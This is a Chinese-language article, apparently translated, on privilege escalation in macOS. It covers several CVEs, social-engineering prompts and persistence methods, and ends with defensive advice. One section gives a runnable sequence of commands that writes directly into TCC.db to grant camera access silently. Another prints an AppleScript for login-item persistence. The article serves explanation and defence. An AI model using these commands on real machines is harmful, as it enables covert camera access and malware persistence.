一、前言
在本篇文章中,我们详细描述关于macOS上的特权提升。首先,我们将介绍安全研究人员在Apple桌面操作系统的最新版本中发现的一些漏洞,其中重点说明已经转化为可靠漏洞利用的一些漏洞。针对这些漏洞,提出面向企业和终端用户的安全建议。随后,我们将视角从研究人员转向攻击者,探讨macOS威胁参与者所使用的的攻击方法,并说明为什么他们采用了与安全研究人员截然不同的方法。
二、什么是特权提升?
首先,我们先对这个专业名词进行解释。每当要执行一段代码时,操作系统都会在调用代码的用户上下文中执行。从技术上说,这个用户不一定是真实的用户,但为了方便理解,我们在这里仅指用户启动某些应用程序或脚本的场景。在这时,代码可以访问用户拥有的资源。同时也就意味着,代码通常无法访问系统文件、其他用户的文件和任何其他受保护的资源。
当然,除非该用户是root用户,或者已经请求以root用户身份运行。熟悉命令行的读者可能非常熟悉sudo开头的命令,而这就是在以root用户身份运行。在桌面用户界面中,当安装程序或其他工具要求获取权限,以进行一些当前用户无权进行(或在没有身份验证的情况下无法进行)的更改时,也会发生同样的情况。这样的例子有很多,比如安装新的辅助工具、移动或删除用户主文件夹以外的文件夹,或执行需要特权提升的脚本。
这样的特权提升非常方便,但是当用户或进程原本不应该获得这些提升后的特权时,问题就会出现。特权提升可以借助软件或操作系统的漏洞来实现,也可以通过社会工程学的方式来导致,我们将在后文中详细介绍。
三、特权提升在macOS上有多常见?
如果我们关注Apple的产品安全公告,我们可能会惊讶地发现,每次更新中都修复了为数不少的代码执行漏洞。实际上,这也是安全性在不断提升的证明,Apple和世界各地的安全研究人员正在不断发现并修复严重的安全漏洞。
实际上,并非Apple修复的所有漏洞都属于特权提升漏洞。许多漏洞都具有一个单独的分类,统称为“任意代码执行”,这意味着该漏洞可能允许攻击者在特定情况下执行攻击者自定义的任何代码。但是,任意代码执行可以作为特权提升的前奏。漏洞利用链通常都会从任意代码执行开始,但是攻击者是否可以利用该代码执行漏洞来运行实现特权提升的代码,这又是需要额外研究的一个问题。
即便存在某个漏洞允许实现特权提升,但并非所有此类漏洞都能够转化为可利用的漏洞。实际上,可以通过某些不常见的情况来缓解这些漏洞,最终可能会导致这些漏洞仅仅具有技术层面的意义,没有实用价值。以macOS 18.7.0内核的本地特权提升漏洞为例,漏洞发现者将其描述为“几乎无法被野外利用”,但安全研究人员仍然对此很感兴趣:
上述所说的情况,只是其中的一部分,macOS中仍然存在着许多严重的特权提升漏洞,并且其中有一部分是可以利用的。接下来,就让我们深入分析其中的一些漏洞。
四、macOS El Capitan 10.11和macOS Sierra 10.12上的特权提升漏洞
为了让这篇文章能具有实用价值,我们从至少能影响El Capitan的漏洞开始分析,而El Capitan是Apple首次引入系统完整性保护的版本,并且可以说,这是Apple真正开始重视安全性的问题。截至2019年10月,El Capitan预计将占据macOS市场约7%的比例,而Sierra则占据8.99%的比例。
当然,Physmem是一个可以在老版本操作系统上利用的漏洞。我已经在OSX 10.9 Mavericks之前的系统上成功进行了测试,该漏洞利用程序的作者认为代码也许可以追溯到OSX 10.5 Leopard。所有版本的OSX 10.10 Yosemite、macOS El Capitan 10.11.5前版本、macOS Sierra 10.12.0/10.12.1都受到该漏洞的影响。Physmem根据目标系统的不同,分别利用CVE-2016-1825和CVE-2016-7617漏洞。
Physmem的源代码是公开可以访问的,因此攻击者也同样可以轻松获得。作为本地权限提升漏洞,它首先要求用户下载并运行某些第三方软件,这是一种相当常见的攻击方式,因为受害者往往不知道其中包含着恶意代码。一个看似合法的软件(例如:假冒的Adobe Flash安装程序、媒体下载工具)中可能会包含Physmem二进制文件,并允许在运行过程中将权限提升为root用户,无需用户输入管理员或当前用户的密码。一旦获取root权限之后,这个软件就可以按照用户期望的方式(例如:安装真正的Adobe Flash)来运行,这一过程同样不需要用户进行交互。从用户视角来看,由于整个特权提升的过程是后台进行的,并且最终成功进行了相应合法软件的安装/执行操作,因此用户很可能对这一软件的合法性没有任何怀疑。
五、macOS 10.13 High Sierra特权提升漏洞
从macOS 10.12.2版本开始,已经修复了Physmem漏洞,但在此后的版本中,还存在另外的一个漏洞,影响El Capitan、Sierra和High Sierra的未修复版本,这篇文章对该漏洞进行了详细的分析。
尽管漏洞利用过程并不简单,但这不能阻止研究人员根据macOS的Windows Server漏洞来设计出有效的漏洞利用方法,并利用系统特权来实现任意代码执行。
CVE-2018-4193可以与沙箱逃逸等其他漏洞结合利用,最终实现远程代码执行,攻击者只需诱导用户点击恶意链接即可。根据估计,目前有大约18%的macOS仍然在使用某些版本的High Sierra 10.13版本。
六、macOS 10.14特权提升漏洞
目前,大约有42%的macOS使用Mojave 10.14版本,尽管拥有大量用户,但也难以避免会存在特权提升漏洞。安全研究员@CodeColorist发现了CVE-2019-8565和CVE-2019-8513两个漏洞,它们能导致macOS Mojave 10.14.3及更早版本操作系统的特权提升漏洞。目前,这两个漏洞利用工具都已经加入到Metasploit中,可以提供给红蓝对抗中的红队使用。
其中,第一种漏洞存在于名为“反馈助手”(Feedback Assistant)的原生macOS应用程序中,这个应用程序可能很少被用户留意,位于System/Library/CoreServices路径中的“Applications”文件夹中。
反馈助手是主要由开发人员和macOS漏洞测试人员使用的应用程序,用于直接向Apple提交漏洞报告。正如Project Zero的Ian Beer发现的漏洞,反馈助手利用特权XPC连接与服务“com.apple.appleseed.fbahelperd”进行连接。但是,由于该过程中仅通过调用者的进程标识符来验证与特权XPC服务的通信,因此就产生了一个竞争状态。在这种情况下,恶意应用程序可能会抢先生成授权进程,然后重用其PID。
在示例中,我们尝试在macOS High Sierra中执行漏洞利用,发现在macOS 10.14.3及更低版本中,漏洞利用是相当可靠的。
在Apple修复该漏洞后,我们尝试在10.14.4上进行相同的漏洞利用,其结果是失败的。
CVE-2019-8513还可以在Mojave 10.14.3及以前的版本中利用,这里展示了某些内置命令行工具。Time Machine util tmdiagnose只是实现XPC逻辑漏洞的一整套工具之中的一个示例。
这个实用程序基本上只是一个Objective-C包装器,还会用到许多其他的命令行实用程序。在10.14.4版本之前,tmdiagnose调用了一个实用程序来执行特权任务。尽管awk本身就是一个成熟的实用程序,但大多数熟悉它的人都会了解,它一般在处理文本文件上具有较为强大的功能。Tmdiagnose中的代码会利用awk从diskutil列表中进行拆分,输出一些文本,然后进行由输出内容构造的系统调用。
这是执行特权进程的一种非常不安全的方法,因为可以通过使用diskutil list的输出来操纵系统调用。基于这一点,CodeColorist的漏洞利用程序创建了一个磁盘映像,其名称中包含恶意Payload。当tmdiagnose被调用并在磁盘名称列表中运行时,将会使用特权来执行Payload。
七、macOS Catalina是否存在任何特权提升漏洞?
大家可能想关注,10.14.4和10.15以后的版本中是否存在特权提升漏洞呢?我们可以快速浏览一下Apple针对macOS Catalina的最新安全更新,其中也包括一定数量的特权提升漏洞,这说明我们在不久的将来就可以看到许多关于新特权提升漏洞的文章。从macOS Catalina 10.15.1的最新安全更新开始统计,至少有9个在10.15发行版本或10.14.6版本上存在的漏洞,其造成的影响是允许使用系统权限或提升的特权来执行任意代码。
这些漏洞会影响各种各样的API和服务,包括新的系统扩展(CVE-2019-8805)、插件(CVE-2019-8715)、内核(CVE-2019-8786)、英特尔图形驱动程序(CVE-2019-8807)、显卡驱动(CVE-2019-8784)、文件系统事件(CVE-2019-8798)、文件隔离(CVE-2019-8509)、Apple显卡控制(CVE-2019-8716),甚至是帮助页面(CVE-2019-8802)。
八、终端用户:如何防范macOS特权提升?
我经常会遇到一些在个人电脑或工作电脑上仍然使用老版本macOS的用户。具体原因则是各种各样,包括熟悉旧版的操作界面、不信任新系统的稳定性等等。另外还有一部分原因,可能要归因到Apple的更新问题,更新到最新版本有可能会导致硬件或软件的不兼容,这就导致仍然在使用Rosetta、32位应用程序、老版本Java JDK或JRE这样的软件的用户无法进行升级。这种情况在macOS 10.15中特别明显,因为新版本已经完全不支持32位的应用程序。而在后续,在接下来的10.16或10.17版本中,还会取消对使用内核扩展(kexts)的软件的支持,无法及时更新的问题有可能会更为严重。
在与使用老版本的用户进行交流的过程中,我听到他们最常见的一个回答就是“不担心其中的安全问题”,这些用户觉得老版本系统的内置安全机制已经足以保证其系统安全——Gatekeeper已经启用,系统完整性保护已经打开,并且系统已经设置为自动接收XProtect和MRT的后台更新。
也有一些更加谨慎的用户,他们在macOS系统中安装了一些终端用户使用的反病毒套件,并且认为能起到充分的保护作用。
不出意料,在我向这些用户说明了上述漏洞利用程序的影响范围和风险,并且明确表示这些漏洞利用程序无法被操作系统或一些第三方安全解决方案检测到时,这些用户都表示非常惊讶,并且开始担忧计算机的安全性。
实际上,操作系统是一个非常复杂的软件,会无可避免地带有一些漏洞。依靠内置的安全解决方案和第三方安全解决方案实际上难以实现充分的防御,所以必须要保证操作系统版本的及时更新,并选用强大的安全解决方案。
九、攻击者如何寻找特权提升漏洞
接下来,我们将视线从研究人员转移到攻击者,来深入探究一下攻击者是如何实现权限提升的。
对于安全研究人员和漏洞演技组合来说,发现了一个新的特权提升漏洞,往往就意味着得到了一个黑客的“圣杯”。利用这个发现的漏洞,可以参加0-day计划,或者参与类似于pwn2own这样的比赛,从而可以获得大量的现金奖励。如上文所说,Apple的常规产品安全全更新中经常会修复一些任意代码执行和特权提升漏洞。但是,攻击者似乎并没有广泛利用这些研究人员发现的漏洞。这在很大程度上是因为攻击者找到了达到同一目的的其他方法。在本文中,我们将从恶意软件开发人员的视角,来看看他们是如何采取不同的方式发现并利用macOS上的特权提升漏洞。
十、无需弄巧成拙:直接让用户授予权限
在监测过程中,我们发现许多macOS的商品化恶意软件和广告软件都没有利用这些特权提升的漏洞。这不仅是因为这些漏洞的利用范围和存在周期较短,更是因为——用户往往会不加思索地直接将这些权限授予应用程序!
Mac用户在安装和移动应用程序时,以及在将文件或程序从一个位置复制/移动到另外一个位置时,往往都可以看到授权的请求,这个请求对于用户来说是非常常见的,而这也正是导致用户盲目信任此类提示的原因。现在,用户可以授予应用程序对许多常见系统服务(包括:联系人、日历、照片等)的访问权限,我们将在后面进行详细讨论。
在macOS商品化广告软件和恶意软件中,很容易找到一些常见的“用户提示信息”,这是因为用户很容易受到社会工程学攻击,从而安装一些程序,或打开一些他们误以为是正在进行的事情、有用的信息或其他有帮助的文件。
恶意软件开发人员、PUP/PUA和广告软件会模仿合法的应用程序,使用内置的Installer.app和.pkg文件格式。他们知道,大多数用户都会点击安装程序向导,不会去检查installer.log以查看实际情况,更不会考虑去检查软件包中实际包含的内容。
下面是一个常见的恶意安装程序的示例。
要求提升权限的API在使用过程中不会将密码暴露给调用过程,但恶意软件作者通常会伪装对话框,并以纯文本的形式来捕获密码,这一点非常容易可以做到。
使用一些AppleScript欺骗用户,并提供一个看上去比较真实的对话框来欺骗用户输入密码的过程也非常简单,这个对话框中甚至可以引入合法的本地图标来增强其真实性:
有时,甚至不需要获取root权限。一个例子是,在macOS 10.13 High Sierra的首个公开发行版本中,存在一个漏洞,导致任何用户都可以使用root用户+空密码来解锁受保护的“系统偏好设置”界面,该漏洞已经在macOS 10.13.1中修复。
十一、滥用对话框警报
合法的特权请求以及对受保护资源的访问请求可能没有太大效果,这样的提示可能会使用户无法完全信任应用程序是合法的,或者会导致某些需要的功能无法使用。
考虑到这一点,Apple近期对“安全性和隐私”首选项进行了更改,对于经过认证的应用程序增加了一些要求,如果开发人员需要访问这些受保护的资源,那么必须要提供详细的描述,并将这些描述显示在请求对话框中。
尽管其初衷是非常好的,但对于合法开发人员的要求可能不会对恶意软件作者产生太大的影响。首先,只有开发人员主动提供某些描述内容,才能显示出相应的信息。其次,即使显示了这些描述内容,也无法足以给用户提供必要的信息。举例来说,如果弹出提示说某个应用程序申请访问Terminal.app中的文档和数据,那么用户会怎么理解呢?Terminal(终端)应用程序通常不会存储文档和数据,因此这样的描述会给用户带来困惑。很可能,用户会怀疑这个应用程序会有权访问另一个应用程序沙箱容器中的文档和数据,但是即使这个猜想正确,也完全无济于事。
弹出的描述内容实际上不能很好地帮助用户去判断是否要执行这个操作。最后,根据用户的使用习惯,即使是显示非常重要的文本,大家普遍也很少会花时间阅读这些内容。当弹出的提示变得非常多,并且作为正常工作之间的一个“障碍”时,大家往往都会直接去点击。
十二、用户本身就是Admin,此时不需要Sudo
让macOS攻击者无需过于担心如何提升特权到root的另一个原因在于,到目前为止,大多数macOS用户都以默认用户的身份运行,这个默认用户是在首次使用Mac时设置的。这个默认用户当然就是管理员用户了。通过使用id命令,进程就可以迅速得知该用户具有哪些访问权限。
进程通常具有启动该进程的用户的权限,也因此,与大多数用户一样,当我们以管理员用户启动进程时,就赋予了该进程进行更改、启动其它进程和访问资源的强大功能。
举例来说,在Mojave版本之前,任何用户启动的进程都可以在不要求用户进一步交互的情况下读取用户的电子邮件数据库(包括加密的电子邮件)、阅读浏览器的全部浏览历史等等。这些功能本应该被锁定,但是同时还存在着各种绕过漏洞,并且在任何情况下,只要用户将终端添加到“全盘访问”(Full Disk Access)中,使用终端的任何人都可以实现上述操作。同样,任何Hack Dropbox也能做到,Zoom可以做得更好。
这样一来,恶意软件作者在无需询问的情况下,就可以访问受保护的资源。要继续说明这一点,我们需要暂时将视角从恶意开发人员切换回合法开发人员。
早在2016年,我就公开披露了如何利用Dropbox修改系统偏好设置,强制将其自身插入到“辅助功能”偏好设置窗格中,从而赋予了其自身控制用户界面的权限。
在各种广告软件、PUP/PUA和各种恶意软件利用工具包中,都可以看到这种攻击方式。尽管这种攻击方式被新闻和其他网站大量曝光,但Apple还是对其保持着忽视。几个月后,随着macOS Sierra的发布,TCC数据库被锁定,而这个数据库正是上述权限的存储位置。
在Mojave和Cataline中,Apple又进一步加强了用户隐私控制,这又需要TCC SQLite数据库的支持,包括限制对系统摄像头和麦克风的访问。
从macOS Mojave开始,应用程序必须要经过用户同意才能访问摄像头或麦克风。然后,从macOS Catalina开始,必须要经过用户同意才能记录屏幕上的内容或键盘输入内容。
重要的是,尽管Apple可以在用户级别或Mac管理员中使用MDM来设置配置文件,使其预先批准某些隐私首选项,但关于对摄像头和麦克风的访问是仅能默认拒绝的。只有在获得用户批准后的使用时间之内,才能获取对这些资源的访问权限。在应用程序请求资源时,弹出的对话框中包括“允许”和“拒绝”按钮。
我们提到Zoom,大家可能还记得Zoom近期被滥用为隐藏网络服务器的新闻。事实证明,这个应用程序非常容易被恶意攻击者劫持,以在未经用户许可的情况下启用用户的摄像头。这场争议似乎没有使这家公司对于安全性问题有所忧虑,反而他们表示其目的是为用户提供更好的体验。上周,Zoom再次发布新闻,新闻称又发现了一个能简单绕过摄像头和麦克风权限的漏洞。
GitHub用户bp88开发了一个完整的脚本,我们在此来逐步分析一下其原理。在演示中,我们使用Calculator.app来作为目标。
首先,我们必须收集一些有关与我们需要潜入“隐私”偏好设置的应用程序的信息,包括其Bundle Identifier和代码签名。
$ plutil -p /System/Applications/Calculator.app/Contents/Info.plist | grep -i bundleidentifier
该命令会返回com.apple.Calculator。
我们还需要十六进制形式的代码签名。为了获得签名,我们使用codesign来提取。
$ codesign -d -r- /Applications/Calculator.app
返回内容如下:
我们只需要=>后面的内容,将其回显到csreq util中,它将会为我们提供二进制输出,并将其保存到临时文件中。
$ echo 'identifier "com.apple.calculator" and anchor apple' | csreq -r -b /tmp/req.bin
利用xxd和tr,我们将二进制文件转换为TCC.db期望的十六进制blob。
$ xxd -p /tmp/req.bin | tr -d '\n'
根据数据库语法的要求,将上述blob放在X’ ’之中。
X'fade0c000000003000000001000000060000000200000014636f6d2e6170706c652e63616c63756c61746f7200000003'.
最后,我们需要一个时间戳,可以使用以下命令:
$ date +"%s"
现在,我们需要基于数据库的结构来构造sqlite命令,并执行。
$ sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "INSERT INTO access (service,client,client_type,allowed,prompt_count,csreq,last_modified) VALUES('kTCCServiceCamera', 'com.apple.calculator', '0', '1', '1', X'fade0c000000003000000001000000060000000200000014636f6d2e6170706c652e63616c63756c61746f7200000003', 1573637690)"
尽管上述过程更多地是一种横向特权提升的方法(即权限级别保持不变),但该攻击方式允许攻击者访问通常需要获得用户进一步许可才能访问的其他资源。这一过程展现了如何轻松绕过macOS内置的安全性用户级别,并且无需利用其他低等级的漏洞。我们可能会看到,一些需要劫持摄像头和麦克风资源的恶意软件,会在野外使用这样的方法。
十三、恶意软件不需要特权即可获得持久性
如果我们经常使用Mac,并且意外发现了某些不需要的应用程序会随着开机而自动启动,从而减慢了启动过程的速度,那么我们实际上就会发现一个事实——应用程序不需要用户许可或身份验证就可以在用户登录时启动。所有恶意软件都会将持久性作为一个重要目标,因此这个功能也会被攻击者广泛滥用。
应用程序可以通过多种方式确保它们在登录时以及用户控制桌面之前执行,而这些方法都不需要应用程序获得用户的许可。
首先,应用程序可以简单地将其自身安装到“系统偏好设置”的“登录项”列表中。尽管这种持久性机制已经被官方文档弃用,但实际上它仍然被广泛使用,甚至可以通过简单的AppleScript来完成。
tell application "System Events" name of every login item if (login item "Persistent App" exists) is false then tell application process "Persistent App" to set aPath to POSIX path of its application file as string make new login item at end of login items with properties {path:aPath, hidden:false, kind:"Application", name:"Persistent App"} end if end tell
Apple目前正式推荐的替代机制会使用户更难以查看和管理。现在,登录项隐藏在每个应用程序自身的Bundle中,并且完全在应用程序内部进行管理。Apple向开发人员指出,与新的推荐机制不同,旧的API会将登录项暴露给用户。
正如我们之前提到的,可以枚举哪些项目正在使用“登录项”,但这个过程需要编写自定义代码或运行脚本。
持久性导致的另外一个后果是,恶意软件作者不再需要使用特权提升技术,只需要将LaunchAgent写入用户的Library文件夹即可。LaunchAgents文件夹不需要写入权限,是迄今为止恶意软件在Mac上使用的最普遍的持久化方法。这主要是由于大多数用户都不知道该文件夹的存在,Apple从10.7版本开始就默认隐藏该文件夹。
随着近几年广告软件的爆炸式增长,随着被广告恶意软件感染的用户在社区中不断提问求助,LaunchAgents已经引起越来越多地关注。相应的,这导致对以往cron技术的使用率有小幅增加,cron已经逐渐被越来越少的用户所关注。
上述这些功能在所有版本的macOS(包括最新的macOS 10.15 Catalina)上都能够可靠地运行。
需要关注的是,在这里的示例中,恶意软件在调用sudo时,除了向用户显示出“confup想要进行更改”之外,没有任何其他说明。考虑到最近出现的大量感染情况,我们认为这样的攻击方式对于攻击者来说显然非常成功。
十四、总结
尽管研究人员持续对特权提升漏洞进行挖掘,以尝试找出最新的漏洞,但很少有人发现攻击者会在野外积极使用这类特权提升漏洞。造成研究与实际相脱节的原因在于,恶意软件作者可以采用多种方法,选用更简单、更持久的技术来实现其目标。正如我们在后面几章所列举的,有时甚至不需要进行特权提升,而需要一个简单的社会工程学技巧就可以解决问题。尽管没有发布补丁的0-day漏洞始终会被加入到高级攻击者的武器库,但对于大多数恶意软件而言,很少需要这些漏洞利用。